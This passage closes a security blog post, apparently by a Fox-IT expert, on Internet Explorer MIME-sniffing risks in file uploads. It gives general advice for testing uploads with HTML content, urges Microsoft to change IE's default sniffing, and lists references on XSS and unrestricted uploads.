While testing file uploads in web applications, attempt to upload HTML code in files with different extensions and don’t forget to perform these tests using different browsers.

Microsoft
Please change the default MIME Sniffing behavior of Internet Explorer and refrain from handling files as HTML when the web server says otherwise. At least prevent this from happening for most ‘known file types’ and most ‘ambiguous file types’.

References

• Risky sniffing by Henry Sudhof
• OWASP: Cross-Site Scripting (XSS)
• “MIME/Content-Type-Sniffing” Issues in Image Uploads in Forum Scripts by Jacques Copeau
• PHP: XSS: incorrect mime type for bmp in getimagesize/image_type_to_mime_type()
• IE8 Security Part V: Comprehensive Protection
• MIME Type Detection in Internet Explorer
• OWASP: Unrestricted File Upload

Post written by Daniel Niggebrugge, Senior Security Expert at Fox-IT.